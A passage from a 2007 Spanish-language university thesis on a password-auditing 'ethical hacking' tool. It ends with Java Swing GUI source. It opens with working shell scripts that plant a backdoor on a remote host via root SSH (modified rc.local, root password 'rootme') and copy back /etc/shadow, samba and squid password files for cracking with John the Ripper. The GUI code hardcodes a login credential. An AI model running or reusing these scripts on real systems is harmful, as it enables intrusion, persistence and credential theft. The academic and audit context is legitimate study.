#!/bin/sh # script de ataque completo...solo para fines educativos. echo " Iniciando....copiando exploit remoto y modificando archivos.." scp -o StrictHostKeyChecking=no /root/hacking_etico/utilitarios/rc.local root@$1:/etc/rc.d/rc.local echo " El archivo rc.local fue modificado.." echo " Copiando y ejecutando el xploit.." scp -o StrictHostKeyChecking=no /root/hacking_etico/utilitarios/fk.tgz root@$1:/var/tmp/fk.tgz echo " Copiado el xploit..ejecutando.." ssh root@$1 -C "tar -zxf /var/tmp/fk.tgz -C /var/tmp/" ssh root@$1 -C "/bin/sh /var/tmp/fk-0.4/instalar" echo " Implementado con exito el backdoor remoto.." echo " user:root --> passwd:rootme.." echo " Consulte con el manual de ayuda como obtener conexion remota ssh" echo "" echo "Extraccion de los archivos de los passwd de la maquina remota" echo "Procediendo a la extraccion de los archivos principales del sistema.." scp -o StrictHostKeyChecking=no root@$1:/etc/passwd /root/hacking_etico/utilitarios/john-1.7.2/run/mypasswd echo "Archivo /etc/passwd extraido de la maquina remota" scp -o StrictHostKeyChecking=no root@$1:/etc/shadow /root/hacking_etico/utilitarios/john-1.7.2/run/myshadow echo "Archivo /etc/shadow extraido de la maquina remota " echo "Extraccion de los archivos de passwords de samba...( si los hubiere )" scp -o StrictHostKeyChecking=no root@$1:/etc/samba/smbpasswd /root/hacking_etico/utilitarios/john-1.7.2/run/mysmbpasswd echo " Archivo /etc/samba/smbpasswd extraido de la maquina remota " echo " Extraccion de los passwords de SQUID ( si los hubiere )" scp -o StrictHostKeyChecking=no root@$1:/etc/squid/claves /root/hacking_etico/utilitarios/john-1.7.2/run/mysquidpasswd echo " Archivo de passwords squid extraido de la maquina remota " echo " finalizado con exito.."
Gráfico No. 119 Script Ataque completo
#!/bin/sh ## FUNCION PARA SABER LA IP CONFIGURADA ## EN MI MAQUINA--> UTILIZADA PARA EL ESCANEO AUTOMATICO DE IP netwox 1 --ip
Gráfico No. 120 Script Conocer IP
161
!/bin/sh ##Esta parte es el truco del descifrado y análisis de los passwords ##Para efectos de presentación de proyecto se han colocado passwords de ##mediana complejidad a fin de que el sistema no demore mucho en descifrar ##Con passwords más complejos se demoraría nada más y nada menos que 2x10e14 años..!!! echo "Los passwords que se pudieron descifrar fueron-->" cd /root/hacking_etico/utilitarios/john-1.7.2/run ./john --show analizar ./john --show mysmbpasswd ./john --show mysquidpasswd echo "" echo "Y sus códigos hash originales son---->" echo "" cat john.pot echo "" echo "Aviso: los passwords pueden aparecer no completos..analice el código hash con las herramientas adicionales de cracker" echo "" echo "El archivo con las claves encriptadas se encuentra en--->" echo "/root/hacking_etico/utilitarios/john-1.7.2/run/respaldos-archivos-passwords archivo john.pot"
Gráfico No. 121 Script Descifrado y análisis de password
!/bin/sh ## en esta parte muestro los passwords que capture del servicio squid cd /root/hacking_etico/utilitarios/john-1.7.2/run ./john --show mysquidpasswd Un script muy importante a considerar es el llamado: EXTRACT_PASSWD_SHADOW
Gráfico No. 122 Script Muesta Password
El cual es el encargado de extraer los archivos de passwords de la maquina
remota, pero además como una especie de simulación de ataque de virus, se
envía un exploit desarrollado con el fin de habilitarnos una shell tipo ssh en
un puerto determinado, con un user y un passwd que yo determino. El exploit
es totalmente inofensivo, solo activa un puerto para poder hacer una
extracción posterior de los archivos de passwd, sin necesidad de volver a
hacer el engorroso y demorado paso de la autenticación remota.
162
Sin embargo, el exploit se lo podría modificar y añadir las líneas en el script
respectivo, con otros fines que no son los especificados en el proyecto.
En sus inicios el proyecto nació con la idea de hacer auditoria de passwords,
determinando su nivel de complejidad, pero puede ser explotado para poder
medir, por ejemplo que tan resistente es la maquina remota a ataques de
virus, como el que se menciono arriba.
Se podrían añadir algunas herramientas de ataque, como tipos de virus u
otras cosas, y fácilmente modificar los scripts ya que su programación no es
compleja, y mandarlos a la maquina que está siendo auditada, con el fin de
probar su seguridad, y sus vulnerabilidades.
Este tipo de procedimientos de prueba solo podrán ser realizados por el
administrador del sistema, cuidando siempre de lo que se está realizando, ya
que se encontró exploit que pueden llegar hasta a deshabilitar por completo
el sistema operativo de la maquina atacada, por tanto, el uso y modificación
de estos scripts debe ser siempre monitoreado por la persona responsable
de ejecutar el programa, y si se desea probar las seguridades de las
maquinas a auditar, se deberá controlar el tipo de ataque a enviar, ya que
después de hacer todos estos procedimientos, la maquina debe quedar en
un estado normal, como antes de que se le realice el ataque.
163
Hay que cuidar entonces de revisar los scripts originales, tal cual como se los
entrego en el proyecto, con el fin de determinar si en algún momento, no ha
sido modificado, con el fin de introducir algún tipo de virus o backdoor más
especializado, y causar un gran daño.
También se puede aprovechar el proyecto en lo siguiente:
El script que me genera el descifrado de los passwords es:
analiza-passwd
El cual, podría ser transportado a otra máquina, conjunto con la carpeta john-
1.7.2, ejecutar el script y empezar a descifrar passwords indiscriminadamente
y sin ningún control, mucho cuidado con los scripts del proyecto y en que
manos puedan caer, no vayamos a tener después algún inconveniente.
Si por alguna razón el programa demora “una eternidad” en el descifrado de
los passwords, esto se da por lo general en maquinas con los requerimientos
mínimosç de operación (equipos con pocas prestaciones), o con passwords
extremadamente difíciles, el script puede ser ejecutado en la maquina en su
ruta original y con los archivos ya extraídos, y por medio de una consola
Terminal se ejecutará el script que descifra los passwords, y esta ventana se
la puede ejecutar en segundo plano o en otra área de trabajo. Incluso se
puede parar y volver a iniciar el descifrado presionando control+c para
164
detener y luego invocando de nuevo el comando de ejecución. Para más
detalles remítase al manual de John_the_ripper de la carpeta del proyecto.
Este mismo procedimiento se lo puede realizar con el programa del proyecto,
pero este consumirá muchos recursos, por lo general se recomienda que la
maquina no este ejecutando otra cosa que no sea este análisis.
De cualquier forma, los passwords descifrados se almacenan en un archivo,
el cual después será analizado por el programa en la etapa de análisis.
Si se para el análisis, se lo puede reiniciar en cualquier momento, si se lo
ejecuta desde una ventana Terminal como se explico arriba, sino
necesariamente deberá esperar a que el programa termine el descifrado de
los passwords.
El resto del código de los scripts es código que sirve para poner a punto el
sistema y el programa que se está ejecutando, y es código totalmente
inofensivo.
CAPITULO VI
Código fuente principal.
A continuación se detalla finalmente, el código mínimo necesario para que el
proyecto funcione. Se omiten las clases de diseño que NetBeans agrega de
forma automática cuando se diseñan las pantallas, se provee del código
funcional del proyecto.
Clave del Proyecto
public class claveproyecto extends javax.swing.JFrame { public claveproyecto() { initComponents(); } // <editor-fold defaultstate="collapsed" desc=" Generated Code "> private void initComponents() { jLabel1 = new javax.swing.JLabel(); jLabel2 = new javax.swing.JLabel(); jLabel3 = new javax.swing.JLabel(); jLabel4 = new javax.swing.JLabel(); verificar = new javax.swing.JButton(); limpiar = new javax.swing.JButton(); salir = new javax.swing.JButton(); jLabel5 = new javax.swing.JLabel(); password_nombre = new javax.swing.JTextField(); password_clave = new javax.swing.JPasswordField(); jMenuBar1 = new javax.swing.JMenuBar(); jMenu1 = new javax.swing.JMenu(); jMenuItem1 = new javax.swing.JMenuItem(); jMenu2 = new javax.swing.JMenu(); jMenuItem3 = new javax.swing.JMenuItem(); setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); setTitle("Cracker de Passwords Unix 2007"); setBackground(new java.awt.Color(204, 204, 255)); setFont(new java.awt.Font("Arial", 1, 12)); jLabel1.setFont(new java.awt.Font("Arial", 1, 16));
166
jLabel1.setForeground(new java.awt.Color(0, 0, 204)); jLabel1.setText("Bienvenido al Sistema de Auditoria de Password"); jLabel2.setFont(new java.awt.Font("Arial", 0, 18)); jLabel2.setForeground(new java.awt.Color(0, 0, 204)); jLabel2.setText("Ventana de Autenticaci\u00f3n del Sistema"); jLabel3.setFont(new java.awt.Font("Arial", 1, 12)); jLabel3.setText("Ingrese Nombre de Usuario:"); jLabel4.setFont(new java.awt.Font("Arial", 1, 12)); jLabel4.setText("Ingrese clave de acceso:"); verificar.setFont(new java.awt.Font("Arial", 0, 11)); verificar.setForeground(new java.awt.Color(0, 102, 102)); verificar.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/ver.gif")); verificar.setText("Verificar"); verificar.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { verificarActionPerformed(evt); } }); limpiar.setFont(new java.awt.Font("Arial", 0, 11)); limpiar.setForeground(new java.awt.Color(0, 102, 102)); limpiar.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/remove.gif")); limpiar.setText("Limpiar"); limpiar.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { limpiarActionPerformed(evt); } }); salir.setFont(new java.awt.Font("Arial", 0, 11)); salir.setForeground(new java.awt.Color(0, 102, 102)); salir.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/salir.GIF")); salir.setText("Salir"); salir.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { salirActionPerformed(evt); } }); jLabel5.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/dibujo.gif")); jMenu1.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/open.gif")); jMenu1.setText("Opciones"); jMenu1.setToolTipText("Scan passwd 2007"); jMenu1.setFont(new java.awt.Font("Arial", 0, 10)); jMenuItem1.setFont(new java.awt.Font("Arial", 1, 12)); jMenuItem1.setIcon(new
167
javax.swing.ImageIcon("/root/hacking_etico/imagenes/salir.GIF")); jMenuItem1.setText("Salir"); jMenuItem1.setToolTipText("Salir del sistema"); jMenuItem1.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { jMenuItem1ActionPerformed(evt); } }); jMenu1.add(jMenuItem1); jMenuBar1.add(jMenu1); jMenu2.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); jMenu2.setText("Acerca de ..."); jMenu2.setToolTipText("Creditos"); jMenu2.setFont(new java.awt.Font("Arial", 0, 10)); jMenuItem3.setFont(new java.awt.Font("Arial", 1, 12)); jMenuItem3.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/password.gif")); jMenuItem3.setText("Creditos del programa"); jMenuItem3.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { jMenuItem3ActionPerformed(evt); } }); jMenu2.add(jMenuItem3); jMenuBar1.add(jMenu2); setJMenuBar(jMenuBar1); org.jdesktop.layout.GroupLayout layout = new org.jdesktop.layout.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(34, 34, 34) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(jLabel3) .add(jLabel4) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .add(verificar, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 109, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(14, 14, 14))) .add(22, 22, 22)
168
.add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING, false) .add(password_clave) .add(layout.createSequentialGroup() .add(limpiar, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 112, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(38, 38, 38) .add(salir, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 95, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .add(password_nombre))) .add(layout.createSequentialGroup() .add(49, 49, 49) .add(jLabel1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 413, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .add(layout.createSequentialGroup() .add(78, 78, 78) .add(jLabel2, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 346, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .add(layout.createSequentialGroup() .add(100, 100, 100) .add(jLabel5))) .addContainerGap(35, Short.MAX_VALUE)) ); layout.setVerticalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(27, 27, 27) .add(jLabel1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 29, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel2) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel5) .add(34, 34, 34) add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(jLabel3) .add(password_nombre, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .add(15, 15, 15) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(jLabel4) .add(password_clave, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .add(15, 15, 15)
169
.add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(limpiar, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(salir, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(verificar, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .addContainerGap()) ); pack(); }// </editor-fold> private void jMenuItem3ActionPerformed(java.awt.event.ActionEvent evt) { creditos sss = new creditos(); sss.show(); } private void jMenuItem1ActionPerformed(java.awt.event.ActionEvent evt) { salir ss = new salir(); ss.setVisible(true); } private void salirActionPerformed(java.awt.event.ActionEvent evt) { salir ss = new salir(); ss.setVisible(true); } private void limpiarActionPerformed(java.awt.event.ActionEvent evt) { password_nombre.setText(""); password_clave.setText(""); } private void verificarActionPerformed(java.awt.event.ActionEvent evt) { if(contador_intentos<=1) { if(password_nombre.getText().equals("hacker") && password_clave.getText().equals("cisc@seminario")) { Msg a=new Msg("BIENVENIDO","imagenes/escudo_u.JPG","LA AUTENTICACION FUE REALIZADA CON EXITO","GRACIAS POR USAR","NUESTRO PROGRAMA"); hide(); dispose(); pantalla_principal pant = new pantalla_principal(); pant.show(); }else{ Msg a=new Msg("AVISO","imagenes/escudo_u.JPG","LA AUTENTICACION FALLO","EL NOMBRE DE USUARIO O LA CLAVE SON INCORRECTOS","INTENTELO DE NUEVO...GRACIAS"); contador_intentos ++; password_nombre.setText(""); password_clave.setText(""); System.out.println("Fallaste en tu número de intentos lo siento se te
170
denego el acceso.."); } }else{ this.setVisible(false); System.exit(0); Msg a=new Msg("AVISO","imagenes/escudo_u.JPG","TE PASASTES DEL NÚMERO DE INETNTOS","SE HA DENEGADO EL USO DEL PROGRAMA","LO SIENTO HACKER"); } } public static void main(String args[]) { java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new claveproyecto().setVisible(true); } }); } private int contador_intentos=0; // Variables declaration - do not modify private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel2; private javax.swing.JLabel jLabel3; private javax.swing.JLabel jLabel4; private javax.swing.JLabel jLabel5; private javax.swing.JMenu jMenu1; private javax.swing.JMenu jMenu2; private javax.swing.JMenuBar jMenuBar1; private javax.swing.JMenuItem jMenuItem1; private javax.swing.JMenuItem jMenuItem3; private javax.swing.JButton limpiar; private javax.swing.JPasswordField password_clave; private javax.swing.JTextField password_nombre; private javax.swing.JButton salir; private javax.swing.JButton verificar; // End of variables declaration }
Créditos.java
public class creditos extends javax.swing.JFrame { public creditos() { initComponents(); } private void initComponents() { jLabel1 = new javax.swing.JLabel(); jLabel2 = new javax.swing.JLabel();
171
jLabel3 = new javax.swing.JLabel(); jLabel4 = new javax.swing.JLabel(); jLabel5 = new javax.swing.JLabel(); jLabel6 = new javax.swing.JLabel(); jLabel7 = new javax.swing.JLabel(); jLabel8 = new javax.swing.JLabel(); jButton1 = new javax.swing.JButton(); setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); setTitle("CREDITOS"); setResizable(false); jLabel1.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/led titulo universidad.GIF")); jLabel2.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/led carrera cisc.GIF")); jLabel3.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/escudo_u.JPG")); jLabel4.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/led programadores.GIF")); jLabel5.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/led alicia.GIF")); jLabel6.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/led jose.GIF")); jLabel7.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/led karina.GIF")); jLabel8.setFont(new java.awt.Font("Arial Black", 0, 11)); jLabel8.setText("Hacking etico a servidores 2007 distribuido bajo licencia GPL"); jButton1.setFont(new java.awt.Font("Arial Black", 0, 12)); jButton1.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/hackeo.gif")); jButton1.setText("OK"); jButton1.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { jButton1ActionPerformed(evt); } }); org.jdesktop.layout.GroupLayout layout = new org.jdesktop.layout.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .addContainerGap() .add(jLabel8)) .add(layout.createSequentialGroup()
172
.add(40, 40, 40) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(jLabel2, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 338, Short.MAX_VALUE) .add(jLabel1, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 338, Short.MAX_VALUE) .add(jLabel4, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 338, Short.MAX_VALUE) .add(jLabel5, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 338, Short.MAX_VALUE) .add(jLabel6, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 338, Short.MAX_VALUE) .add(jLabel7))) .add(layout.createSequentialGroup() .add(97, 97, 97) .add(jLabel3, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 182, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE))) .addContainerGap()) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .addContainerGap(159, Short.MAX_VALUE) .add(jButton1) .add(146, 146, 146)) ); layout.setVerticalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .addContainerGap() .add(jLabel1) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel2) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel3, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 161, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel4) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .add(jLabel5) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel6) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel7) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jButton1) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel8)) );
173
pack(); }// </editor-fold> private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) { hide(); dispose(); } public static void main(String args[]) { java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new creditos().setVisible(true); } }); } private javax.swing.JButton jButton1; private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel2; private javax.swing.JLabel jLabel3; private javax.swing.JLabel jLabel4; private javax.swing.JLabel jLabel5; private javax.swing.JLabel jLabel6; private javax.swing.JLabel jLabel7; private javax.swing.JLabel jLabel8; }
Salir.java
public class salir extends javax.swing.JFrame { public salir() { initComponents(); } private void initComponents() { jLabel1 = new javax.swing.JLabel(); jLabel2 = new javax.swing.JLabel(); boton_salir = new javax.swing.JButton(); boton_cancelar = new javax.swing.JButton(); jLabel3 = new javax.swing.JLabel(); setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); setTitle("SAlIR DEL SISTEMA"); setCursor(new java.awt.Cursor(java.awt.Cursor.DEFAULT_CURSOR)); setResizable(false); jLabel1.setBackground(new java.awt.Color(204, 204, 255)); jLabel1.setFont(new java.awt.Font("Arial", 1, 18)); jLabel1.setForeground(new java.awt.Color(0, 102, 102)); jLabel1.setText("Salir del Sistema"); jLabel2.setBackground(new java.awt.Color(204, 204, 255)); jLabel2.setFont(new java.awt.Font("Arial Black", 1, 18));
174
jLabel2.setForeground(new java.awt.Color(0, 0, 255)); jLabel2.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/banner_salir.GIF")); boton_salir.setFont(new java.awt.Font("Arial", 0, 10)); boton_salir.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/hackeo.gif")); boton_salir.setText("SI"); boton_salir.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { boton_salirActionPerformed(evt); } }); boton_cancelar.setFont(new java.awt.Font("Arial", 0, 10)); boton_cancelar.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/salir.GIF")); boton_cancelar.setText("NO"); boton_cancelar.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { boton_cancelarActionPerformed(evt); } }); jLabel3.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/escudo_u.JPG")); org.jdesktop.layout.GroupLayout layout = new org.jdesktop.layout.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(78, 78, 78) .add(boton_salir) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, 95, Short.MAX_VALUE) .add(boton_cancelar) .add(72, 72, 72)) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .addContainerGap() .add(jLabel2, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addContainerGap()) .add(layout.createSequentialGroup() .add(81, 81, 81) .add(jLabel3) .addContainerGap(113, Short.MAX_VALUE)) .add(layout.createSequentialGroup() .add(109, 109, 109) .add(jLabel1)
175
.addContainerGap(131, Short.MAX_VALUE)) ); layout.setVerticalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(27, 27, 27) .add(jLabel1) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel3, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 212, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel2) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(boton_salir) .add(boton_cancelar, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 39, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .addContainerGap()) ); java.awt.Dimension screenSize = java.awt.Toolkit.getDefaultToolkit().getScreenSize(); setBounds((screenSize.width-394)/2, (screenSize.height-394)/2, 394, 394); }// </editor-fold> private void boton_cancelarActionPerformed(java.awt.event.ActionEvent evt) { hide(); dispose(); } private void boton_salirActionPerformed(java.awt.event.ActionEvent evt) { hide(); dispose(); System.exit(0); } public static void main(String args[]) { java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new salir().setVisible(true); } }); } // Variables declaration - do not modify private javax.swing.JButton boton_cancelar; private javax.swing.JButton boton_salir; private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel2; private javax.swing.JLabel jLabel3; }
176
Crea.java
import java.awt.*; import java.util.Vector; import javax.swing.*; public class Crea { public Crea() { } public static JLabel getLabel(String s) { JLabel jlabel = null; if(jlabel == null) jlabel = new JLabel(s); return jlabel; } public static TextField getTextField() { TextField textfield = null; if(textfield == null) textfield = new TextField(); return textfield; } public static JTextField getTextFieldSwing() { JTextField jtextfield = null; if(jtextfield == null) jtextfield = new JTextField(); return jtextfield; } public static TextField getTextField(int i) { TextField textfield = null; if(textfield == null) textfield = new TextField(i); return textfield; } public static JButton getJButton(String s) { JButton button = null; if(button == null) button = new JButton(s); return button; } public static JComboBox getCombo() { JComboBox jcombobox = null; if(jcombobox == null) jcombobox = new JComboBox(); return jcombobox; } public static JTable getTable(Vector vector,Vector vector1) { JTable jtable = null;
177
if(jtable == null) jtable = new JTable(vector, vector1); return jtable; } public static JScrollPane getScroll() { JScrollPane jscrollpane = null; if(jscrollpane == null) jscrollpane = new JScrollPane(); return jscrollpane; } public static JMenu getMenu(String s) { JMenu jmenu = null; if(jmenu == null) jmenu = new JMenu(s); return jmenu; } public static JMenu getMenu(String s,String s1) { JMenu jmenu = null; if(jmenu == null) { jmenu = new JMenu(s); jmenu.setHorizontalTextPosition(4); jmenu.setIcon(getImage(s1)); } return jmenu; } public static JMenuItem getMenuItem(String s) { JMenuItem jmenuitem = null; if(jmenuitem == null) jmenuitem = new JMenuItem(s); return jmenuitem; } public static JMenuItem getMenuItem(String s,String s1) { JMenuItem jmenuitem = null; if(jmenuitem == null) { jmenuitem = new JMenuItem(s); jmenuitem.setHorizontalTextPosition(4); jmenuitem.setIcon(getImage(s1)); } return jmenuitem; } public static ImageIcon getImage(String s) { ImageIcon imageicon = null; if(imageicon == null) imageicon = new ImageIcon(s); return imageicon; }
178
public static JLabel getLabel(ImageIcon imageicon) { JLabel jlabel = null; if(jlabel == null) jlabel = new JLabel("", imageicon, 0); return jlabel; } public static JMenuBar getBarra() { JMenuBar jmenubar = null; if(jmenubar == null) jmenubar = new JMenuBar(); return jmenubar; } public static Panel getPanel() { Panel panel = null; if(panel == null) panel = new Panel(); return panel; } public static Font getFont(String s,int i,int j) { Font font = null; if(font == null) font = new Font(s, i, j); return font; } public static JProgressBar getJProgress() { JProgressBar jprogressbar = null; if(jprogressbar == null) jprogressbar = new JProgressBar(); return jprogressbar; } }
Mensaje.java
import java.awt.*; import java.awt.event.*; import javax.swing.*; public class Mensaje extends JDialog implements MouseListener, KeyListener, WindowListener { private JButton b; private Panel p; private Font letra1; private Font letra2; private Font letra3; private Font letra4; String cadena;
179
int valor; public Mensaje(JFrame jframe,String s,String s1,boolean flag,int i,int j,int k,int l,int i1) { super(jframe, s, flag); b = null; p = null; letra1 = null; letra2 = null; letra3 = null; letra4 = null; cadena = new String(s1); valor = i; inicio(); dimension(j, k, l, i1); } public void inicio() { letra1 = Crea.getFont("Courier", 1, 14); letra2 = Crea.getFont("Helvetica", 1, 24); letra3 = Crea.getFont("TimesRoman", 2, 20); letra4 = Crea.getFont("Courier", 1, 24); p = Crea.getPanel(); b = Crea.getJButton("Aceptar"); p.add(b); getContentPane().setLayout(new BorderLayout()); getContentPane().add("South", p); escucha(); } public void escucha() { addWindowListener(this); b.addMouseListener(this); b.addKeyListener(this); } public void dimension(int i,int j,int k,int l) { move(i, j); setSize(k, l); setResizable(false); } public void paint(Graphics g) { if(avisa()) { g.setFont(letra1); g.setColor(Color.black); g.drawString(cadena, 40, 45); } else { setBackground(new Color(0x6,0xA8,0xE5)); g.setFont(letra2);
180
g.setColor(new Color(57,32,76)); g.drawString("UNIVERSIDAD ESTATAL DE GUAYAQUIL", 20, 70); g.setFont(letra3); g.setColor(Color.black); g.drawString("ALICIA VICTORIA ALDAZ BORJA", 110, 120); g.drawString("JOSE LUIS HIDALGO TORRES", 120, 140); g.drawString("KARINA GUISELLA VALENZUELA BURBANO", 70, 160); g.setFont(letra4); g.setColor(Color.blue); g.drawString("SEMINARIO DE GRADUACION CISC 2007", 20, 250); } } public boolean avisa() { return valor == 1; } public void mouseEntered(MouseEvent mouseevent) { } public void mousePressed(MouseEvent mouseevent) { } public void mouseReleased(MouseEvent mouseevent) { } public void mouseExited(MouseEvent mouseevent) { } public void mouseClicked(MouseEvent mouseevent) { hide(); dispose(); } public void keyPressed(KeyEvent keyevent) { } public void keyReleased(KeyEvent keyevent) { } public void keyTyped(KeyEvent keyevent) { hide(); dispose(); } public void windowOpened(WindowEvent windowevent) { } public void windowClosed(WindowEvent windowevent) { } public void windowClosing(WindowEvent windowevent) { } public void windowIconified(WindowEvent windowevent) { } public void windowDeiconified(WindowEvent windowevent) { } public void windowActivated(WindowEvent windowevent) { } public void windowDeactivated(WindowEvent windowevent) {
181
} }
Msg.java
